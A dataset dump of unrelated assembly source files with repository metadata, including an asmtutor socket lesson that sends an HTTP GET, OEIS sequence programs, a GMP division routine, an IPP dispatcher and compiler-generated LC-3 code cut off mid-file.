36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
35.903955
2,999
0.653659
84fcd66b5ff2bb6455dac90492d0f01ae26ed5ca
1,501
asm
Assembly
linux64/lesson36.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
1
2021-11-05T06:41:49.000Z
2021-11-05T06:41:49.000Z
linux64/lesson36.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
null
null
null
linux64/lesson36.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
null
null
null
format ELF64 executable 3 entry start include 'procs.inc' segment readable writable buffer rb 4096 segment readable request db 'GET / HTTP/1.1', 0dh, 0ah, 'Host: 139.162.39.66:80' rept 2 { db 0dh, 0ah } db 0h request.length = $ - request struc sockaddr_in family, port, addr, last { .family dw family .port dw port .addr dq addr .last dq last } sock sockaddr_in 2, 0x5000, 0x4227a28b, 0 socklen = $ - sock segment readable executable start: xorc rax xorc rdx xorc rdi xorc rsi xorc rbx .socket: mov rdx, 6 ; IPPROTO_TCP mov rsi, 1 ; SOCK_STREAM mov rdi, 2 ; PF_INET mov rax, 41 ; SYS_SOCKET syscall mov rdi, rax .connect: ;mov rdx, rsp ;push 0 ;push 0x4227a28b ; push 139.162.39.66 onto stack IP ADDRESS ;push word 0x5000 ; push 80 onto stack PORT ;push word 2 ; AF_INET ;mov rsi, rsp ;sub rdx, rsi mov rsi, sock mov rdx, socklen mov rax, 42 ; SYS_CONNECT syscall .write: mov rdx, request.length mov rsi, request mov rax, 1 syscall .read: mov rdx, 4096 mov rsi, buffer mov rax, 0 syscall cmp rax, 0 jz .close mov rbx, rax mov rax, buffer call snprint jmp .read .close: mov rax, 3 ; SYS_CLOSE kernel opcode 3 syscall call quitProgram
17.869048
69
0.55563
17297968bf303aacdd0cfa0d4bd7b96663007332
306
asm
Assembly
programs/oeis/141/A141104.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/141/A141104.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/141/A141104.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A141104: Lower Even Swappage of Upper Wythoff Sequence. ; 2,4,6,10,12,14,18,20,22,26,28,30,34,36,38,40,44,46,48,52,54,56,60,62,64,68,70,72,74,78,80,82,86,88,90,94,96,98,102,104,106,108,112,114,116,120,122,124,128,130,132,136,138,140,142,146,148,150,154,156,158,162 add $0,1 mul $0,34 div $0,26 mul $0,2
38.25
208
0.696078
2f9bc088c4f7b79386a1fd8fb8a37e5f90cfb126
635
asm
Assembly
books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/5_6.asm
gxw1/review_the_national_post-graduate_entrance_examination
8812779a7a4ce185a531d120562d5194b697c0c9
[ "MIT" ]
640
2019-03-30T11:32:43.000Z
2022-03-31T14:05:18.000Z
books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/5_6.asm
yyzVegst/review_the_national_post-graduate_entrance_examination
8812779a7a4ce185a531d120562d5194b697c0c9
[ "MIT" ]
6
2019-07-22T01:57:24.000Z
2022-01-20T15:03:16.000Z
books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/5_6.asm
yyzVegst/review_the_national_post-graduate_entrance_examination
8812779a7a4ce185a531d120562d5194b697c0c9
[ "MIT" ]
212
2019-04-10T02:31:50.000Z
2022-03-30T02:32:47.000Z
DATA SEGMENT DAT1 DB 65H DAT2 DB ? DAT3 DB ? DATA ENDS CODE SEGMENT ASSUME CS:CODE,DS:DATA START: MOV AX,DATA MOV DS,AX LEA SI,DAT1 MOV AL,[SI] CMP AL,99 JBE BCD LEA DI,DAT3 MOV byte ptr [DI],0FFH JMP EXIT BCD: CBW MOV CL,10 DIV CL MOV CL,4 SHL AL,CL OR AL,AH LEA DI,DAT2 MOV [DI],AL EXIT: MOV AH,4CH INT 21H CODE ENDS END START
21.896552
34
0.374803
d911e13766bad66e4c8408a97b64e5a4fe7166fb
1,085
asm
Assembly
_build/dispatcher/jmp_ippsGFpECCpyPoint_7690107f.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsGFpECCpyPoint_7690107f.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsGFpECCpyPoint_7690107f.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsGFpECCpyPoint:function extern n8_ippsGFpECCpyPoint:function extern y8_ippsGFpECCpyPoint:function extern e9_ippsGFpECCpyPoint:function extern l9_ippsGFpECCpyPoint:function extern n0_ippsGFpECCpyPoint:function extern k0_ippsGFpECCpyPoint:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpECCpyPoint .Larraddr_ippsGFpECCpyPoint: dq m7_ippsGFpECCpyPoint dq n8_ippsGFpECCpyPoint dq y8_ippsGFpECCpyPoint dq e9_ippsGFpECCpyPoint dq l9_ippsGFpECCpyPoint dq n0_ippsGFpECCpyPoint dq k0_ippsGFpECCpyPoint segment .text global ippsGFpECCpyPoint:function (ippsGFpECCpyPoint.LEndippsGFpECCpyPoint - ippsGFpECCpyPoint) .Lin_ippsGFpECCpyPoint: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpECCpyPoint: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpECCpyPoint] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpECCpyPoint:
27.820513
95
0.797235
bfe36d1d7a07b7bf0066a91761d0c81df5e499bf
606
asm
Assembly
programs/oeis/076/A076820.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/076/A076820.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/076/A076820.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A076820: Second-largest distinct prime dividing n (or 1 if n is a power of a prime). ; 1,1,1,1,1,2,1,1,1,2,1,2,1,2,3,1,1,2,1,2,3,2,1,2,1,2,1,2,1,3,1,1,3,2,5,2,1,2,3,2,1,3,1,2,3,2,1,2,1,2,3,2,1,2,5,2,3,2,1,3,1,2,3,1,5,3,1,2,3,5,1,2,1,2,3,2,7,3,1,2,1,2,1,3,5,2,3,2,1,3,7,2,3,2,5,2,1,2,3,2 add $0,1 mov $1,1 mov $2,2 mov $3,$0 mov $4,$0 lpb $3 mov $5,$4 mov $6,0 lpb $5 mov $1,1 add $6,1 mov $7,$0 div $0,$2 mod $7,$2 cmp $7,0 sub $5,$7 lpe cmp $6,0 cmp $6,0 mov $7,$2 pow $7,$6 mul $1,$7 add $2,1 mov $7,$0 cmp $7,1 cmp $7,0 sub $3,$7 lpe mov $0,$1
18.363636
201
0.5
71c333e1d317c99a30892a1592546fa564d18267
2,341
asm
Assembly
samples/gc_test.asm
zedshaw/earing
4151f2ab110ad6da284e59d2eae3985ea00a2f59
[ "Zed" ]
7
2015-02-08T20:25:54.000Z
2021-11-28T13:02:56.000Z
samples/gc_test.asm
zedshaw/earing
4151f2ab110ad6da284e59d2eae3985ea00a2f59
[ "Zed" ]
null
null
null
samples/gc_test.asm
zedshaw/earing
4151f2ab110ad6da284e59d2eae3985ea00a2f59
[ "Zed" ]
2
2015-05-19T18:43:00.000Z
2017-08-12T15:02:33.000Z
# This is a little EaRing sample file showing the new GC setup I've added. # It's pretty rough right now, but if I run this file using: # # earing $ build/earing -f forever samples/gc_test.asm > /dev/null # # Then it'll loop forever, allocating ram and printing the results, but after # 2 minutes this is the usage: # # 35136 earing 99.3% 1:55.19 1 13 28 388K 184K 1152K 19M # # So it's allocating and the GC is working just fine. Boehm is the man. # %library("libc.dylib", "libc") ### these are constants, they stick around for the life of the module, but they're more ### like ASM data regions, meaning you can modify them and shove stuff in them. # this is a 'constant', but we can modify it NUMBERS = "01234567890" # this is a constant for the length NUMBER_LEN = 11 # includes the \0 # yep, another one ONE_K_OF_RAM = 1024 # what's this? just a sample showing using the [size] syntax to make a constant blob of ram A_CHUNK = [ONE_K_OF_RAM] # This function tests out the new allocator ops by making some ram, reallocing it, # forcing it freed, forcing the GC to collect, then making and realloc again. To make # sure the ram was made, it then copies from NUMBERS into this new ram and printing it # out. function allocator_test() : void movi.ui(V1, 0) # do a bunch of stupid GC operations sizeof.i(R2) sizeof(R2, NUMBERS) alloc(R2, 1024) # makes 1k, currently have to use a number realloc(R2, 1) # realloc it to 1 byte free(R2) # do a force free (not necessary) alloc(R2, 1024) # allocate some more realloc(R2, 30) # reallocate it to 30 bytes # now we copy NUMBERS into our new chunk of ram next: ldxi.c(R0, V1, NUMBERS) stxr.c(R2, V1, R0) addi.ui(V1, V1, 1) blti.ui(next:, V1, NUMBER_LEN) # and finally, let's print that out prepare.i(1) pusharg.p(R2) finish(libc.puts) end # This is a function that just loops forever and runs allocator_test. # It forces a call to the GC in the loop to test that out. function forever() : void again: calli(self.allocator_test) jmpi(again:) end # The main funciton just runs allocator_test 1000 times and exits. Easy. function main() : void movi.ui(V0, 0) again: calli(self.allocator_test) addi.ui(V0, V0, 1) blti.ui(again:, V0, 1000) end
30.802632
91
0.68176
9cef656178510024c28abcfa5a80aa17aa916a47
43
asm
Assembly
tests/errors/stack_underflow_parameters.asm
UPB-FILS-ALF/devoir-1-tests
75ad3698f506329c609cdfe66e9fbeffe2ae03ad
[ "Apache-2.0" ]
null
null
null
tests/errors/stack_underflow_parameters.asm
UPB-FILS-ALF/devoir-1-tests
75ad3698f506329c609cdfe66e9fbeffe2ae03ad
[ "Apache-2.0" ]
null
null
null
tests/errors/stack_underflow_parameters.asm
UPB-FILS-ALF/devoir-1-tests
75ad3698f506329c609cdfe66e9fbeffe2ae03ad
[ "Apache-2.0" ]
1
2021-03-25T10:58:49.000Z
2021-03-25T10:58:49.000Z
push 3 add sub mul div mod pop print stack
4.3
6
0.767442
d7dbdf953c17a964907b711ee1157179f185b7b8
2,847
asm
Assembly
libtool/src/gmp-6.1.2/mpn/sparc64/ultrasparct3/dive_1.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
1,602
2015-01-06T11:26:31.000Z
2022-03-30T06:17:21.000Z
libtool/src/gmp-6.1.2/mpn/sparc64/ultrasparct3/dive_1.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
11,789
2015-01-05T04:50:15.000Z
2022-03-31T23:39:19.000Z
libtool/src/gmp-6.1.2/mpn/sparc64/ultrasparct3/dive_1.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
498
2015-01-08T18:58:18.000Z
2022-03-20T15:37:45.000Z
dnl SPARC T3/T4/T5 mpn_divexact_1. dnl Contributed to the GNU project by Torbjörn Granlund. dnl Copyright 2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C UltraSPARC T3: 31 C UltraSPARC T4/T5: 20-26 hits 20 early, then sharply drops C INPUT PARAMETERS define(`qp', `%i0') define(`ap', `%i1') define(`n', `%i2') define(`d', `%i3') define(`dinv',`%o4') ASM_START() REGISTER(%g2,#scratch) REGISTER(%g3,#scratch) PROLOGUE(mpn_divexact_1) save %sp, -176, %sp cmp n, 1 bne,pt %xcc, L(gt1) ldx [ap], %o5 udivx %o5, d, %g1 stx %g1, [qp] return %i7+8 nop L(gt1): add d, -1, %g1 andn %g1, d, %g1 popc %g1, %i4 C i4 = count_trailing_zeros(d) srlx d, %i4, d srlx d, 1, %g1 and %g1, 127, %g1 LEA64(binvert_limb_table, g2, g4) ldub [%g2+%g1], %g1 add %g1, %g1, %g2 mulx %g1, %g1, %g1 mulx %g1, d, %g1 sub %g2, %g1, %g2 add %g2, %g2, %g1 mulx %g2, %g2, %g2 mulx %g2, d, %g2 sub %g1, %g2, %g1 add %g1, %g1, %o7 mulx %g1, %g1, %g1 mulx %g1, d, %g1 add n, -2, n brz,pt %i4, L(norm) sub %o7, %g1, dinv L(unnorm): mov 0, %g4 sub %g0, %i4, %o2 srlx %o5, %i4, %o5 L(top_unnorm): ldx [ap+8], %g3 add ap, 8, ap sllx %g3, %o2, %g5 or %g5, %o5, %g5 srlx %g3, %i4, %o5 subcc %g5, %g4, %g4 mulx %g4, dinv, %g1 stx %g1, [qp] add qp, 8, qp umulxhi(d, %g1, %g1) addxc( %g1, %g0, %g4) brgz,pt n, L(top_unnorm) add n, -1, n sub %o5, %g4, %g4 mulx %g4, dinv, %g1 stx %g1, [qp] return %i7+8 nop L(norm): mulx dinv, %o5, %g1 stx %g1, [qp] add qp, 8, qp addcc %g0, 0, %g4 L(top_norm): umulxhi(d, %g1, %g1) ldx [ap+8], %g5 add ap, 8, ap addxc( %g1, %g0, %g1) subcc %g5, %g1, %g1 mulx %g1, dinv, %g1 stx %g1, [qp] add qp, 8, qp brgz,pt n, L(top_norm) add n, -1, n return %i7+8 nop EPILOGUE()
21.9
79
0.639972
f9da6c83dc267d69678450b77c166a8a767b4cdd
487
asm
Assembly
test/test.asm
yunwei37/MIPS-sc
567d4fbde43238471bfad9cacf888e48f85718e9
[ "MIT" ]
10
2020-07-16T00:50:41.000Z
2022-03-22T03:00:55.000Z
test/test.asm
yunwei37/MIPS-sc
567d4fbde43238471bfad9cacf888e48f85718e9
[ "MIT" ]
null
null
null
test/test.asm
yunwei37/MIPS-sc
567d4fbde43238471bfad9cacf888e48f85718e9
[ "MIT" ]
5
2020-06-30T04:18:40.000Z
2022-03-28T03:03:36.000Z
.text .origin 0x00000000 main: addi $5, $0, 5 addi $4, $zero, 256 add $8, $zero, $zero # sum function entry loop: lw $9, 0($4) # load data add $8, $8, $9 # sum addi $5, $5, -1 # counter - 1 addi $4, $4, 4 # address + 4 slt $3, $0, $5 # finish? bne $3, $0, loop # finish? or $2, $8, $0 # move result to $v0 sw $2, 0($4) j main # return syscall #data .data .origin 0x00000100 data: .word 0x00000001,0x00000002, 0x00000003,0x00000004,0x00000005 hello: .asciiz "hello"
22.136364
67
0.603696
71088ca95b43c54b730557dd419d1d22b050507f
1,136
asm
Assembly
programs/oeis/011/A011869.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/011/A011869.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/011/A011869.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A011869: a(n) = floor(n*(n-1)/16). ; 0,0,0,0,0,1,1,2,3,4,5,6,8,9,11,13,15,17,19,21,23,26,28,31,34,37,40,43,47,50,54,58,62,66,70,74,78,83,87,92,97,102,107,112,118,123,129,135,141,147,153,159,165,172,178,185,192,199,206,213,221,228,236,244,252,260,268,276,284,293,301,310,319,328,337,346,356,365,375,385,395,405,415,425,435,446,456,467,478,489,500,511,523,534,546,558,570,582,594,606,618,631,643,656,669,682,695,708,722,735,749,763,777,791,805,819,833,848,862,877,892,907,922,937,953,968,984,1000,1016,1032,1048,1064,1080,1097,1113,1130,1147,1164,1181,1198,1216,1233,1251,1269,1287,1305,1323,1341,1359,1378,1396,1415,1434,1453,1472,1491,1511,1530,1550,1570,1590,1610,1630,1650,1670,1691,1711,1732,1753,1774,1795,1816,1838,1859,1881,1903,1925,1947,1969,1991,2013,2036,2058,2081,2104,2127,2150,2173,2197,2220,2244,2268,2292,2316,2340,2364,2388,2413,2437,2462,2487,2512,2537,2562,2588,2613,2639,2665,2691,2717,2743,2769,2795,2822,2848,2875,2902,2929,2956,2983,3011,3038,3066,3094,3122,3150,3178,3206,3234,3263,3291,3320,3349,3378,3407,3436,3466,3495,3525,3555,3585,3615,3645,3675,3705,3736,3766,3797,3828,3859 bin $0,2 div $0,8 mov $1,$0
162.285714
1,069
0.75
b2bac8d867162ad9ae7d2202f2e9ac35449b971a
617
asm
Assembly
programs/oeis/122/A122968.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/122/A122968.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/122/A122968.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A122968: 27th powers: a(n) = n^27. ; 0,1,134217728,7625597484987,18014398509481984,7450580596923828125,1023490369077469249536,65712362363534280139543,2417851639229258349412352,58149737003040059690390169,1000000000000000000000000000,13109994191499930367061460371,137370551967459378662586974208,1192533292512492016559195008117,8819763977946281130444984418304,56815128661595284938812255859375,324518553658426726783156020576256,1667711322168688287513535727415473,7804725584345565904628551916716032,33600614943460448322716069311260139,134217728000000000000000000000000000,501096025171921401632658604207540941 pow $0,27
123.4
568
0.928687
fbabb51696e8edfec4cea80cbb614b7ee15f42b4
166
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sccz80/esxdos_f_close.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sccz80/esxdos_f_close.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sccz80/esxdos_f_close.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
; int esxdos_f_close(uchar handle) SECTION code_clib SECTION code_esxdos PUBLIC esxdos_f_close EXTERN asm_esxdos_f_close defc esxdos_f_close = asm_esxdos_f_close
15.090909
40
0.855422
6cfa5c7b07eb93165fda4c67cb6634590f741207
417
asm
Assembly
libc/tests/main.asm
simon-andrews/norby
6c190df17dc233256cc582af13e7ea1a6e6a9380
[ "MIT" ]
2
2018-09-12T00:05:27.000Z
2018-12-25T09:43:52.000Z
libc/tests/main.asm
simon-andrews/norby
6c190df17dc233256cc582af13e7ea1a6e6a9380
[ "MIT" ]
null
null
null
libc/tests/main.asm
simon-andrews/norby
6c190df17dc233256cc582af13e7ea1a6e6a9380
[ "MIT" ]
null
null
null
; main.asm - Barebones x86 Assembly to run an external function ; Works on Linux only. ;) global _start ; so the linker knows where the entry point is extern do_test ; the test itself is defined externally section .text _start: call do_test ; run the test mov ebx, eax ; set return code (0 is success, everything else is failure) mov eax, 1 ; set system call number (sys_exit) int 0x80 ; call kernel
32.076923
75
0.726619
f7e75484a7ff704d5cd5d4d936859c49a495bf14
39,652
asm
Assembly
test.asm
Candy-Crusher/Code-Generation-for-an-LC-3-Compiler
35731033cbce9167ce95f94f14eeb83597b6dbaa
[ "MIT" ]
null
null
null
test.asm
Candy-Crusher/Code-Generation-for-an-LC-3-Compiler
35731033cbce9167ce95f94f14eeb83597b6dbaa
[ "MIT" ]
1
2021-04-26T10:50:25.000Z
2021-04-26T10:50:25.000Z
mp11/test.asm
Candy-Crusher/ece220
18001a82a46711b0451d37b3dd2c747f85abad69
[ "MIT" ]
null
null
null
;--------------------------------------------------------------------------- ; ; WARNING! This code was produced automatically using the ECE190 C compiler ; (MP5 in the Spring 2008 semester). If you choose to modify it by hand, ; be aware that you WILL LOSE such changes when the code is recompiled. ; ; Student-generated code is marked as "STUDENT CODE." ; ;--------------------------------------------------------------------------- .ORIG x3000 BOGUSFP LD R4,GDPTR LEA R5,BOGUSFP LD R6,SPTR JSR MAIN LEA R0,OUTPREFIX PUTS LDR R0,R6,#0 ADD R6,R6,#1 LD R1,PNPTR JSRR R1 AND R0,R0,#0 ADD R0,R0,#10 OUT HALT GDPTR .FILL GLOBDATA SPTR .FILL STACK PNPTR .FILL PRINT_NUM OUTPREFIX .STRINGZ "main returned " MAIN ADD R6,R6,#-3 STR R5,R6,#0 STR R7,R6,#1 ADD R5,R6,#-1 ;--------------------------------------------------------------------------- ; local variable space allocation ;--------------------------------------------------------------------------- ADD R6,R6,#-7 ;--------------------------------------------------------------------------- ; R0...R3 are callee-saved ;--------------------------------------------------------------------------- ADD R6,R6,#-4 STR R0,R6,#0 ; save R0...R3 STR R1,R6,#1 STR R2,R6,#2 STR R3,R6,#3 ;--------------------------------------------------------------------------- ; STUDENT CODE STARTS HERE (after the symbol table) ;--------------------------------------------------------------------------- ; piles[3] global offset=+0 ; seed local to main offset=+0 ; i local to main offset=-1 ; j local to main offset=-2 ; done local to main offset=-3 ; choice_ok local to main offset=-4 ; pnum local to main offset=-5 ; amt local to main offset=-6 LEA R0,LBL2 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL3 LBL2 .STRINGZ "Please type a number: " LBL3 LD R0,LBL4 JSRR R0 BRnzp LBL5 LBL4 .FILL PRINTF LBL5 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL8 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL9 LBL8 .FILL #1 LBL9 ADD R0,R5,#0 ADD R6,R6,#-1 STR R0,R6,#0 LEA R0,LBL10 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL11 LBL10 .STRINGZ "%d" LBL11 LD R0,LBL12 JSRR R0 BRnzp LBL13 LBL12 .FILL SCANF LBL13 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#2 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRz LBL7 ADD R2,R2,#1 LBL7 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL15 LD R3,LBL14 JMP R3 LBL14 .FILL LBL6 LBL15 LEA R0,LBL16 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL17 LBL16 .STRINGZ "That's not a number!\n" LBL17 LD R0,LBL18 JSRR R0 BRnzp LBL19 LBL18 .FILL PRINTF LBL19 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL20 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL21 LBL20 .FILL #3 LBL21 LDR R0,R6,#0 ADD R6,R6,#1 STR R0,R5,#3 ; LBL23 LD R3,LBL22 JMP R3 LBL22 .FILL LBL1 LBL23 ; LBL26 LD R3,LBL25 JMP R3 LBL25 .FILL LBL24 LBL26 LBL6 LBL24 LDR R0,R5,#0 ADD R6,R6,#-1 STR R0,R6,#0 LD R0,LBL27 JSRR R0 BRnzp LBL28 LBL27 .FILL SRAND LBL28 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL31 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL32 LBL31 .FILL #0 LBL32 ADD R0,R5,#-1 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL29 LD R0,LBL34 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL35 LBL34 .FILL #3 LBL35 LDR R0,R5,#-1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnz LBL33 ADD R2,R2,#1 LBL33 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL37 LD R3,LBL36 JMP R3 LBL36 .FILL LBL30 LBL37 LD R0,LBL38 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL39 LBL38 .FILL #0 LBL39 LD R0,LBL40 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL41 LBL40 .FILL #5 LBL41 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R0,R5,#-1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R0,R0,R1 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 ADD R0,R5,#-1 LDR R1,R0,#0 ADD R2,R1,#1 STR R2,R0,#0 ADD R6,R6,#-1 STR R1,R6,#0 ADD R6,R6,#1 ; LBL43 LD R3,LBL42 JMP R3 LBL42 .FILL LBL29 LBL43 LBL30 LD R0,LBL46 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL47 LBL46 .FILL #0 LBL47 ADD R0,R5,#-3 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL44 LD R0,LBL49 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL50 LBL49 .FILL #0 LBL50 LDR R0,R5,#-3 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL48 ADD R2,R2,#1 LBL48 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL52 LD R3,LBL51 JMP R3 LBL51 .FILL LBL45 LBL52 LD R0,LBL55 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL56 LBL55 .FILL #0 LBL56 ADD R0,R5,#-1 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL53 LD R0,LBL58 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL59 LBL58 .FILL #3 LBL59 LDR R0,R5,#-1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnz LBL57 ADD R2,R2,#1 LBL57 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL61 LD R3,LBL60 JMP R3 LBL60 .FILL LBL54 LBL61 LD R0,LBL62 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL63 LBL62 .FILL #0 LBL63 LD R0,LBL64 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL65 LBL64 .FILL #1 LBL65 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LEA R0,LBL66 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL67 LBL66 .STRINGZ "Pile %d: " LBL67 LD R0,LBL68 JSRR R0 BRnzp LBL69 LBL68 .FILL PRINTF LBL69 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#2 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL72 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL73 LBL72 .FILL #0 LBL73 ADD R0,R5,#-2 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL70 LDR R0,R5,#-1 